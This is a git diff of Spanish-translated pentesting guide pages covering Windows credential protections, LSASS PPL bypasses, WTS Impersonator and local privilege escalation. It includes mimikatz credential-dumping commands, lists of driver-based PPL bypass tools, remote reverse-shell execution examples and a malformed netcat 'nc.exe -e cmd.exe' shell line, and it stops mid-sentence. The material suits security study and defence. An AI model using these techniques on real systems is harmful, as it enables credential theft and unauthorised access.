+271,7 @@ type outpwdump Descárgalo de: [ http://www.tarasco.org/security/pwdump_7](http://www.tarasco.org/security/pwdump_7) y simplemente **ejecuta** y las contraseñas serán extraídas. -## Defenses +## Defensas [**Aprende sobre algunas protecciones de credenciales aquí.**](credentials-protections.md) diff --git a/src/windows-hardening/stealing-credentials/credentials-protections.md b/src/windows-hardening/stealing-credentials/credentials-protections.md index 57c4dff67..04804ce62 100644 --- a/src/windows-hardening/stealing-credentials/credentials-protections.md +++ b/src/windows-hardening/stealing-credentials/credentials-protections.md @@ -1,12 +1,12 @@ -# Windows Credentials Protections +# Protección de Credenciales en Windows -## Credentials Protections +## Protección de Credenciales {{#include ../../banners/hacktricks-training.md}} ## WDigest -El protocolo [WDigest](), introducido con Windows XP, está diseñado para la autenticación a través del Protocolo HTTP y está **habilitado por defecto en Windows XP hasta Windows 8.0 y Windows Server 2003 hasta Windows Server 2012**. Esta configuración predeterminada resulta en **almacenamiento de contraseñas en texto plano en LSASS** (Servicio de Subsistema de Autoridad de Seguridad Local). Un atacante puede usar Mimikatz para **extraer estas credenciales** ejecutando: +El [WDigest]() protocolo, introducido con Windows XP, está diseñado para la autenticación a través del Protocolo HTTP y está **habilitado por defecto en Windows XP hasta Windows 8.0 y Windows Server 2003 hasta Windows Server 2012**. Esta configuración predeterminada resulta en **almacenamiento de contraseñas en texto plano en LSASS** (Servicio de Subsistema de Autoridad de Seguridad Local). Un atacante puede usar Mimikatz para **extraer estas credenciales** ejecutando: ```bash sekurlsa::wdigest ``` @@ -14,26 +14,55 @@ Para **activar o desactivar esta función**, las claves de registro _**UseLogonC ```bash reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential ``` -## Protección de LSA +## Protección LSA (procesos protegidos PP y PPL) -A partir de **Windows 8.1**, Microsoft mejoró la seguridad de LSA para **bloquear lecturas de memoria no autorizadas o inyecciones de código por procesos no confiables**. Esta mejora obstaculiza el funcionamiento típico de comandos como `mimikatz.exe sekurlsa:logonpasswords`. Para **habilitar esta protección mejorada**, el valor _**RunAsPPL**_ en _**HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA**_ debe ajustarse a 1: -``` -reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL -``` -### Bypass +**Proceso Protegido (PP)** y **Proceso Protegido Ligero (PPL)** son **protecciones a nivel de kernel de Windows** diseñadas para prevenir el acceso no autorizado a procesos sensibles como **LSASS**. Introducido en **Windows Vista**, el **modelo PP** fue creado originalmente para la aplicación de **DRM** y solo permitía que los binarios firmados con un **certificado de medios especial** fueran protegidos. Un proceso marcado como **PP** solo puede ser accedido por otros procesos que también sean **PP** y tengan un **nivel de protección igual o superior**, y aun así, **solo con derechos de acceso limitados** a menos que se permita específicamente. -Es posible eludir esta protección utilizando el controlador de Mimikatz mimidrv.sys: +**PPL**, introducido en **Windows 8.1**, es una versión más flexible de PP. Permite **casos de uso más amplios** (por ejemplo, LSASS, Defender) al introducir **"niveles de protección"** basados en el campo **EKU (Uso Mejorado de Clave)** de la firma digital. El nivel de protección se almacena en el campo `EPROCESS.Protection`, que es una estructura `PS_PROTECTION` con: +- **Tipo** (`Protected` o `ProtectedLight`) +- **Firmante** (por ejemplo, `WinTcb`, `Lsa`, `Antimalware`, etc.) + +Esta estructura se empaqueta en un solo byte y determina **quién puede acceder a quién**: +- **Valores de firmante más altos pueden acceder a los más bajos** +- **Los PPL no pueden acceder a los PP** +- **Los procesos no protegidos no pueden acceder a ningún PPL/PP** + +### Lo que necesitas saber desde una perspectiva ofensiva + +- Cuando **LSASS se ejecuta como un PPL**, los intentos de abrirlo usando `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)` desde un contexto de administrador normal **fallan con `0x5 (Acceso Denegado)`**, incluso si `SeDebugPrivilege` está habilitado. +- Puedes **verificar el nivel de protección de LSASS** usando herramientas como Process Hacker o programáticamente leyendo el valor `EPROCESS.Protection`. +- LSASS típicamente tendrá `PsProtectedSignerLsa-Light` (`0x41`), que solo puede ser accedido **por procesos firmados con un firmante de nivel superior**, como `WinTcb` (`0x61` o `0x62`). +- PPL es una **restricción solo de espacio de usuario**; **el código a nivel de kernel puede eludirlo completamente**. +- Que LSASS sea PPL **no previene el volcado de credenciales si puedes ejecutar shellcode de kernel** o **aprovechar un proceso de alto privilegio con acceso adecuado**. +- **Configurar o eliminar PPL** requiere reinicio o **configuraciones de Secure Boot/UEFI**, que pueden persistir la configuración de PPL incluso después de que se reviertan los cambios en el registro. + +**Opciones para eludir las protecciones PPL:** + +Si deseas volcar LSASS a pesar de PPL, tienes 3 opciones principales: +1. **Usar un controlador de kernel firmado (por ejemplo, Mimikatz + mimidrv.sys)** para **eliminar la bandera de protección de LSASS**: ![](../../images/mimidrv.png) +2. **Traer tu propio controlador vulnerable (BYOVD)** para ejecutar código de kernel personalizado y deshabilitar la protección. Herramientas como **PPLKiller**, **gdrv-loader** o **kdmapper** hacen esto factible. +3. **Robar un manejador de LSASS existente** de otro proceso que lo tenga abierto (por ejemplo, un proceso de AV), luego **duplicarlo** en tu proceso. Esta es la base de la técnica `pypykatz live lsa --method handledup`. +4. **Abusar de algún proceso privilegiado** que te permita cargar código arbitrario en su espacio de direcciones o dentro de otro proceso privilegiado, eludiendo efectivamente las restricciones de PPL. Puedes ver un ejemplo de esto en [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) o [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump). + +**Verificar el estado actual de la protección LSA (PPL/PP) para LSASS**: +```bash +reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL +``` +Cuando ejecutas **`mimikatz privilege::debug sekurlsa::logonpasswords`** probablemente fallará con el código de error `0x00000005` debido a esto. + +- Para más información sobre esto, consulta [https://itm4n.github.io/lsass-runasppl/](https://itm4n.github.io/lsass-runasppl/) + ## Credential Guard **Credential Guard**, una característica exclusiva de **Windows 10 (ediciones Enterprise y Education)**, mejora la seguridad de las credenciales de la máquina utilizando **Virtual Secure Mode (VSM)** y **Virtualization Based Security (VBS)**. Aprovecha las extensiones de virtualización de la CPU para aislar procesos clave dentro de un espacio de memoria protegido, lejos del alcance del sistema operativo principal. Este aislamiento asegura que incluso el kernel no pueda acceder a la memoria en VSM, protegiendo efectivamente las credenciales de ataques como **pass-the-hash**. La **Local Security Authority (LSA)** opera dentro de este entorno seguro como un trustlet, mientras que el proceso **LSASS** en el sistema operativo principal actúa meramente como un comunicador con la LSA de VSM. -Por defecto, **Credential Guard** no está activo y requiere activación manual dentro de una organización. Es fundamental para mejorar la seguridad contra herramientas como **Mimikatz**, que se ven obstaculizadas en su capacidad para extraer credenciales. Sin embargo, las vulnerabilidades aún pueden ser explotadas mediante la adición de **Security Support Providers (SSP)** personalizados para capturar credenciales en texto claro durante los intentos de inicio de sesión. +Por defecto, **Credential Guard** no está activo y requiere activación manual dentro de una organización. Es crítico para mejorar la seguridad contra herramientas como **Mimikatz**, que se ven obstaculizadas en su capacidad para extraer credenciales. Sin embargo, las vulnerabilidades aún pueden ser explotadas mediante la adición de **Security Support Providers (SSP)** personalizados para capturar credenciales en texto claro durante los intentos de inicio de sesión. Para verificar el estado de activación de **Credential Guard**, se puede inspeccionar la clave del registro _**LsaCfgFlags**_ bajo _**HKLM\System\CurrentControlSet\Control\LSA**_. Un valor de "**1**" indica activación con **UEFI lock**, "**2**" sin bloqueo, y "**0**" denota que no está habilitado. Esta verificación del registro, aunque es un fuerte indicador, no es el único paso para habilitar Credential Guard. Se dispone de orientación detallada y un script de PowerShell para habilitar esta característica en línea. -```powershell +```bash reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags ``` Para una comprensión completa e instrucciones sobre cómo habilitar **Credential Guard** en Windows 10 y su activación automática en sistemas compatibles de **Windows 11 Enterprise y Education (versión 22H2)**, visita [la documentación de Microsoft](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage). @@ -42,11 +71,11 @@ Se proporcionan más detalles sobre la implementación de SSPs personalizados pa ## Modo RestrictedAdmin de RDP -**Windows 8.1 y Windows Server 2012 R2** introdujeron varias nuevas características de seguridad, incluido el _**modo Restricted Admin para RDP**_. Este modo fue diseñado para mejorar la seguridad al mitigar los riesgos asociados con [**pass the hash**](https://blog.ahasayen.com/pass-the-hash/) ataques. +**Windows 8.1 y Windows Server 2012 R2** introdujeron varias nuevas características de seguridad, incluido el _**modo Restricted Admin para RDP**_. Este modo fue diseñado para mejorar la seguridad al mitigar los riesgos asociados con los ataques de [**pass the hash**](https://blog.ahasayen.com/pass-the-hash/). Tradicionalmente, al conectarse a una computadora remota a través de RDP, sus credenciales se almacenan en la máquina objetivo. Esto representa un riesgo de seguridad significativo, especialmente al usar cuentas con privilegios elevados. Sin embargo, con la introducción del _**modo Restricted Admin**_, este riesgo se reduce sustancialmente. -Al iniciar una conexión RDP utilizando el comando **mstsc.exe /RestrictedAdmin**, la autenticación en la computadora remota se realiza sin almacenar sus credenciales en ella. Este enfoque asegura que, en caso de una infección de malware o si un usuario malicioso obtiene acceso al servidor remoto, sus credenciales no se vean comprometidas, ya que no están almacenadas en el servidor. +Al iniciar una conexión RDP utilizando el comando **mstsc.exe /RestrictedAdmin**, la autenticación a la computadora remota se realiza sin almacenar sus credenciales en ella. Este enfoque asegura que, en caso de una infección de malware o si un usuario malicioso obtiene acceso al servidor remoto, sus credenciales no se vean comprometidas, ya que no están almacenadas en el servidor. Es importante tener en cuenta que en **modo Restricted Admin**, los intentos de acceder a recursos de red desde la sesión RDP no utilizarán sus credenciales personales; en su lugar, se utiliza la **identidad de la máquina**. @@ -54,7 +83,7 @@ Esta característica marca un avance significativo en la seguridad de las conexi ![](../../images/RAM.png) -Para obtener información más detallada, visita [este recurso](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/). +Para obtener más información detallada, visita [este recurso](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/). ## Credenciales en caché @@ -76,15 +105,15 @@ La membresía en el **grupo de Usuarios Protegidos** introduce varias mejoras de - **Delegación de Credenciales (CredSSP)**: Incluso si la configuración de Directiva de Grupo para **Permitir delegar credenciales predeterminadas** está habilitada, las credenciales en texto plano de los Usuarios Protegidos no se almacenarán en caché. - **Windows Digest**: A partir de **Windows 8.1 y Windows Server 2012 R2**, el sistema no almacenará en caché las credenciales en texto plano de los Usuarios Protegidos, independientemente del estado de Windows Digest. -- **NTLM**: El sistema no almacenará en caché las credenciales en texto plano de los Usuarios Protegidos ni las funciones unidireccionales NT (NTOWF). -- **Kerberos**: Para los Usuarios Protegidos, la autenticación Kerberos no generará **claves DES** o **RC4**, ni almacenará en caché credenciales en texto plano o claves a largo plazo más allá de la adquisición inicial del Ticket-Granting Ticket (TGT). +- **NTLM**: El sistema no almacenará en caché las credenciales en texto plano de los Usuarios Protegidos ni funciones unidireccionales NT (NTOWF). +- **Kerberos**: Para los Usuarios Protegidos, la autenticación Kerberos no generará claves **DES** o **RC4**, ni almacenará en caché credenciales en texto plano o claves a largo plazo más allá de la adquisición inicial del Ticket-Granting Ticket (TGT). - **Inicio de Sesión Offline**: No se creará un verificador en caché para los Usuarios Protegidos al iniciar sesión o desbloquear, lo que significa que el inicio de sesión offline no es compatible con estas cuentas. Estas protecciones se activan en el momento en que un usuario, que es miembro del **grupo de Usuarios Protegidos**, inicia sesión en el dispositivo. Esto asegura que se implementen medidas de seguridad críticas para proteger contra varios métodos de compromiso de credenciales. Para obtener información más detallada, consulte la [documentación](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group) oficial. -**Tabla de** [**la documentación**](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory)**.** +**Tabla de** [**los docs**](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory)**.** | Windows Server 2003 RTM | Windows Server 2003 SP1+ |

Windows Server 2012,
Windows Server 2008 R2,
Windows Server 2008

| Windows Server 2016 | | ----------------------- | ------------------------ | ----------------------------------------------------------------------------- | ---------------------------- | diff --git a/src/windows-hardening/stealing-credentials/wts-impersonator.md b/src/windows-hardening/stealing-credentials/wts-impersonator.md index 3d5053426..32828a095 100644 --- a/src/windows-hardening/stealing-credentials/wts-impersonator.md +++ b/src/windows-hardening/stealing-credentials/wts-impersonator.md @@ -5,7 +5,7 @@ La herramienta **WTS Impersonator** explota el **"\\pipe\LSM_API_service"** RPC ### Funcionalidad Principal La herramienta opera a través de una secuencia de llamadas a la API: -```powershell +```bash WTSEnumerateSessionsA → WTSQuerySessionInformationA → WTSQueryUserToken → CreateProcessAsUserW ``` ### Módulos Clave y Uso @@ -13,35 +13,35 @@ WTSEnumerateSessionsA → WTSQuerySessionInformationA → WTSQueryUserToken → - **Enumerando Usuarios**: La enumeración de usuarios locales y remotos es posible con la herramienta, utilizando comandos para cada escenario: - Localmente: -```powershell +```bash .\WTSImpersonator.exe -m enum ``` - Remotamente, especificando una dirección IP o nombre de host: -```powershell +```bash .\WTSImpersonator.exe -m enum -s 192.168.40.131 ``` -- **Ejecutando Comandos**: Los módulos `exec` y `exec-remote` requieren un contexto de **Servicio** para funcionar. La ejecución local simplemente necesita el ejecutable WTSImpersonator y un comando: +- **Ejecutando Comandos**: Los módulos `exec` y `exec-remote` requieren un contexto de **Servicio** para funcionar. La ejecución local simplemente necesita el ejecutable de WTSImpersonator y un comando: -- Ejemplo de ejecución de comando local: -```powershell +- Ejemplo para la ejecución de comandos local: +```bash .\WTSImpersonator.exe -m exec -s 3 -c C:\Windows\System32\cmd.exe ``` - PsExec64.exe se puede usar para obtener un contexto de servicio: -```powershell +```bash .\PsExec64.exe -accepteula -s cmd.exe ``` - **Ejecución Remota de Comandos**: Implica crear e instalar un servicio de forma remota similar a PsExec.exe, permitiendo la ejecución con los permisos apropiados. - Ejemplo de ejecución remota: -```powershell +```bash .\WTSImpersonator.exe -m exec-remote -s 192.168.40.129 -c .\SimpleReverseShellExample.exe -sp .\WTSService.exe -id 2 ``` - **Módulo de Caza de Usuarios**: Apunta a usuarios específicos en múltiples máquinas, ejecutando código bajo sus credenciales. Esto es especialmente útil para apuntar a Administradores de Dominio con derechos de administrador local en varios sistemas. - Ejemplo de uso: -```powershell +```bash .\WTSImpersonator.exe -m user-hunter -uh DOMAIN/USER -ipl .\IPsList.txt -c .\ExeToExecute.exe -sp .\WTServiceBinary.exe ``` diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index 302b94598..e2cdbfdea 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -57,7 +57,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches ``` ### Version Exploits -Este [sitio](https://msrc.microsoft.com/update-guide/vulnerability) es útil para buscar información detallada sobre vulnerabilidades de seguridad de Microsoft. Esta base de datos tiene más de 4,700 vulnerabilidades de seguridad, mostrando la **superficie de ataque masiva** que presenta un entorno de Windows. +Este [sitio](https://msrc.microsoft.com/update-guide/vulnerability) es útil para buscar información detallada sobre vulnerabilidades de seguridad de Microsoft. Esta base de datos tiene más de 4,700 vulnerabilidades de seguridad, mostrando la **superficie de ataque masiva** que presenta un entorno Windows. **En el sistema** @@ -127,7 +127,7 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -Se captura un registro completo de la actividad y el contenido total de la ejecución del script, asegurando que cada bloque de código esté documentado a medida que se ejecuta. Este proceso preserva un rastro de auditoría integral de cada actividad, valioso para la forensía y el análisis de comportamientos maliciosos. Al documentar toda la actividad en el momento de la ejecución, se proporcionan información detallada sobre el proceso. +Se captura un registro completo de la actividad y el contenido total de la ejecución del script, asegurando que cada bloque de código esté documentado a medida que se ejecuta. Este proceso preserva un rastro de auditoría integral de cada actividad, valioso para la forensía y el análisis de comportamientos maliciosos. Al documentar toda la actividad en el momento de la ejecución, se proporcionan detalles sobre el proceso. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging @@ -154,7 +154,7 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| Puedes comprometer el sistema si las actualizaciones no se solicitan usando http**S** sino http. -Comienzas verificando si la red utiliza una actualización WSUS no SSL ejecutando lo siguiente en cmd: +Comienzas verificando si la red utiliza una actualización WSUS sin SSL ejecutando lo siguiente en cmd: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` @@ -197,11 +197,11 @@ Básicamente, este es el defecto que explota este error: > > Además, dado que el servicio WSUS utiliza la configuración del usuario actual, también utilizará su almacén de certificados. Si generamos un certificado autofirmado para el nombre de host de WSUS y añadimos este certificado al almacén de certificados del usuario actual, podremos interceptar tanto el tráfico WSUS HTTP como HTTPS. WSUS no utiliza mecanismos similares a HSTS para implementar una validación de tipo confianza-en-el-primer-uso en el certificado. Si el certificado presentado es confiable por el usuario y tiene el nombre de host correcto, será aceptado por el servicio. -Puedes explotar esta vulnerabilidad utilizando la herramienta [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (una vez que esté liberada). +Puedes explotar esta vulnerabilidad usando la herramienta [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (una vez que esté liberada). ## KrbRelayUp -Una **vulnerabilidad de escalación de privilegios local** existe en entornos **de dominio** de Windows bajo condiciones específicas. Estas condiciones incluyen entornos donde **la firma LDAP no se aplica,** los usuarios poseen derechos propios que les permiten configurar **Delegación Constrainida Basada en Recursos (RBCD),** y la capacidad de los usuarios para crear computadoras dentro del dominio. Es importante notar que estos **requisitos** se cumplen utilizando **configuraciones predeterminadas**. +Una vulnerabilidad de **escalada de privilegios local** existe en entornos **de dominio** de Windows bajo condiciones específicas. Estas condiciones incluyen entornos donde **la firma LDAP no se aplica,** los usuarios poseen derechos propios que les permiten configurar **Delegación Constrainida Basada en Recursos (RBCD),** y la capacidad de los usuarios para crear computadoras dentro del dominio. Es importante notar que estos **requisitos** se cumplen utilizando **configuraciones predeterminadas**. Encuentra el **exploit en** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) @@ -256,7 +256,7 @@ create-msi-with-wix.md - Haz doble clic en **Carpeta de Aplicación**, selecciona tu archivo **beacon.exe** y haz clic en **Aceptar**. Esto asegurará que el payload beacon se ejecute tan pronto como se ejecute el instalador. - En las **Propiedades de Acción Personalizada**, cambia **Run64Bit** a **True**. - Finalmente, **compílalo**. -- Si aparece la advertencia `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, asegúrate de haber configurado la plataforma a x64. +- Si aparece la advertencia `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, asegúrate de establecer la plataforma en x64. ### Instalación de MSI @@ -270,7 +270,7 @@ Para explotar esta vulnerabilidad puedes usar: _exploit/windows/local/always_ins ### Configuración de Auditoría -Estos ajustes deciden qué se está **registrando**, así que debes prestar atención. +Estas configuraciones deciden qué se está **registrando**, así que debes prestar atención. ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` @@ -357,7 +357,7 @@ qwinsta klist sessions ``` ### Carpetas de inicio -```powershell +```bash dir C:\Users Get-ChildItem C:\Users ``` @@ -373,7 +373,7 @@ powershell -command "Get-Clipboard" ### Permisos de Archivos y Carpetas -Primero que nada, listar los procesos **verifica si hay contraseñas dentro de la línea de comando del proceso**.\ +Primero que nada, listar los procesos **verifica si hay contraseñas dentro de la línea de comandos del proceso**.\ Verifica si puedes **sobrescribir algún binario en ejecución** o si tienes permisos de escritura en la carpeta del binario para explotar posibles [**ataques de DLL Hijacking**](dll-hijacking/index.html): ```bash Tasklist /SVC #List processes running and services @@ -396,7 +396,7 @@ icacls "%%z" ) ) ``` -**Verificando los permisos de las carpetas de los binarios de los procesos (**[**DLL Hijacking**](dll-hijacking/index.html)**)** +**Comprobando los permisos de las carpetas de los binarios de los procesos (**[**DLL Hijacking**](dll-hijacking/index.html)**)** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( @@ -435,7 +435,7 @@ Se recomienda tener el binario **accesschk** de _Sysinternals_ para verificar el ```bash accesschk.exe -ucqv #Check rights for different groups ``` -Se recomienda verificar si "Authenticated Users" puede modificar algún servicio: +Se recomienda verificar si "Usuarios autenticados" pueden modificar algún servicio: ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula @@ -448,8 +448,8 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version Si tienes este error (por ejemplo con SSDPSRV): -_Error del sistema 1058 ha ocurrido._\ -_El servicio no puede ser iniciado, ya sea porque está deshabilitado o porque no tiene dispositivos habilitados asociados con él._ +_Se ha producido un error del sistema 1058._\ +_El servicio no se puede iniciar, ya sea porque está deshabilitado o porque no tiene dispositivos habilitados asociados con él._ Puedes habilitarlo usando ```bash @@ -458,7 +458,7 @@ sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` **Tenga en cuenta que el servicio upnphost depende de SSDPSRV para funcionar (para XP SP1)** -**Otra solución alternativa** de este problema es ejecutar: +**Otra solución alternativa** a este problema es ejecutar: ``` sc.exe config usosvc start= auto ``` @@ -480,10 +480,10 @@ net stop [service name] && net start [service name] Los privilegios se pueden escalar a través de varios permisos: - **SERVICE_CHANGE_CONFIG**: Permite la reconfiguración del binario del servicio. -- **WRITE_DAC**: Habilita la reconfiguración de permisos, lo que lleva a la capacidad de cambiar configuraciones del servicio. +- **WRITE_DAC**: Habilita la reconfiguración de permisos, lo que lleva a la capacidad de cambiar configuraciones de servicio. - **WRITE_OWNER**: Permite la adquisición de propiedad y la reconfiguración de permisos. -- **GENERIC_WRITE**: Hereda la capacidad de cambiar configuraciones del servicio. -- **GENERIC_ALL**: También hereda la capacidad de cambiar configuraciones del servicio. +- **GENERIC_WRITE**: Hereda la capacidad de cambiar configuraciones de servicio. +- **GENERIC_ALL**: También hereda la capacidad de cambiar configuraciones de servicio. Para la detección y explotación de esta vulnerabilidad, se puede utilizar el _exploit/windows/local/service_permissions_. @@ -533,13 +533,13 @@ appenddata-addsubdirectory-permission-over-service-registry.md Si la ruta a un ejecutable no está entre comillas, Windows intentará ejecutar cada final antes de un espacio. Por ejemplo, para la ruta _C:\Program Files\Some Folder\Service.exe_, Windows intentará ejecutar: -```powershell +```bash C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` Enumere todas las rutas de servicio no citadas, excluyendo las que pertenecen a los servicios integrados de Windows: -```powershell +```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -547,7 +547,7 @@ wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Window Get-ServiceUnquoted -Verbose ``` -```powershell +```bash for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do ( for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do ( echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo. @@ -555,7 +555,7 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && ) ``` -```powershell +```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` **Puedes detectar y explotar** esta vulnerabilidad con metasploit: `exploit/windows/local/trusted\_service\_path` Puedes crear manualmente un binario de servicio con metasploit: @@ -617,7 +617,7 @@ privilege-escalation-with-autorun-binaries.md ### Controladores -Busca posibles **controladores extraños/vulnerables de terceros**. +Busca posibles controladores **raros/vulnerables de terceros**. ```bash driverquery driverquery.exe /fo table @@ -716,13 +716,13 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef ### Administrador de credenciales / Bóveda de Windows From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -La Bóveda de Windows almacena credenciales de usuario para servidores, sitios web y otros programas que **Windows** puede **iniciar sesión en los usuarios automáticamente**. A primera vista, esto podría parecer que ahora los usuarios pueden almacenar sus credenciales de Facebook, credenciales de Twitter, credenciales de Gmail, etc., para que inicien sesión automáticamente a través de los navegadores. Pero no es así. +La Bóveda de Windows almacena las credenciales de usuario para servidores, sitios web y otros programas que **Windows** puede **iniciar sesión en los usuarios automáticamente**. A primera vista, esto podría parecer que ahora los usuarios pueden almacenar sus credenciales de Facebook, credenciales de Twitter, credenciales de Gmail, etc., para que inicien sesión automáticamente a través de los navegadores. Pero no es así. La Bóveda de Windows almacena credenciales que Windows puede usar para iniciar sesión en los usuarios automáticamente, lo que significa que cualquier **aplicación de Windows que necesite credenciales para acceder a un recurso** (servidor o un sitio web) **puede hacer uso de este Administrador de Credenciales** y la Bóveda de Windows y usar las credenciales proporcionadas en lugar de que los usuarios ingresen el nombre de usuario y la contraseña todo el tiempo. A menos que las aplicaciones interactúen con el Administrador de Credenciales, no creo que sea posible que usen las credenciales para un recurso dado. Así que, si tu aplicación quiere hacer uso de la bóveda, debería de alguna manera **comunicarse con el administrador de credenciales y solicitar las credenciales para ese recurso** desde la bóveda de almacenamiento predeterminada. -Usa `cmdkey` para listar las credenciales almacenadas en la máquina. +Usa el `cmdkey` para listar las credenciales almacenadas en la máquina. ```bash cmdkey /list Currently stored credentials: @@ -738,23 +738,23 @@ Usando `runas` con un conjunto de credenciales proporcionado. ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -Tenga en cuenta que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), o del [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). +Note que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), o del [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). ### DPAPI -La **API de Protección de Datos (DPAPI)** proporciona un método para la encriptación simétrica de datos, utilizado predominantemente dentro del sistema operativo Windows para la encriptación simétrica de claves privadas asimétricas. Esta encriptación aprovecha un secreto de usuario o del sistema para contribuir significativamente a la entropía. +La **Interfaz de Programación de Aplicaciones de Protección de Datos (DPAPI)** proporciona un método para la encriptación simétrica de datos, utilizado predominantemente dentro del sistema operativo Windows para la encriptación simétrica de claves privadas asimétricas. Esta encriptación aprovecha un secreto de usuario o del sistema para contribuir significativamente a la entropía. **DPAPI permite la encriptación de claves a través de una clave simétrica que se deriva de los secretos de inicio de sesión del usuario**. En escenarios que involucran la encriptación del sistema, utiliza los secretos de autenticación del dominio del sistema. -Las claves RSA de usuario encriptadas, mediante DPAPI, se almacenan en el directorio `%APPDATA%\Microsoft\Protect\{SID}`, donde `{SID}` representa el [Identificador de Seguridad](https://en.wikipedia.org/wiki/Security_Identifier) del usuario. **La clave DPAPI, ubicada junto a la clave maestra que protege las claves privadas del usuario en el mismo archivo**, típicamente consiste en 64 bytes de datos aleatorios. (Es importante notar que el acceso a este directorio está restringido, impidiendo listar su contenido a través del comando `dir` en CMD, aunque se puede listar a través de PowerShell). -```powershell +Las claves RSA de usuario encriptadas, mediante DPAPI, se almacenan en el directorio `%APPDATA%\Microsoft\Protect\{SID}`, donde `{SID}` representa el [Identificador de Seguridad](https://en.wikipedia.org/wiki/Security_Identifier) del usuario. **La clave DPAPI, ubicada junto a la clave maestra que protege las claves privadas del usuario en el mismo archivo**, típicamente consiste en 64 bytes de datos aleatorios. (Es importante notar que el acceso a este directorio está restringido, impidiendo listar su contenido a través del comando `dir` en CMD, aunque puede ser listado a través de PowerShell). +```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` Puedes usar el **módulo mimikatz** `dpapi::masterkey` con los argumentos apropiados (`/pvk` o `/rpc`) para desencriptarlo. Los **archivos de credenciales protegidos por la contraseña maestra** suelen estar ubicados en: -```powershell +```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ @@ -769,10 +769,10 @@ dpapi-extracting-passwords.md ### Credenciales de PowerShell -Las **credenciales de PowerShell** se utilizan a menudo para **scripting** y tareas de automatización como una forma de almacenar credenciales encriptadas de manera conveniente. Las credenciales están protegidas usando **DPAPI**, lo 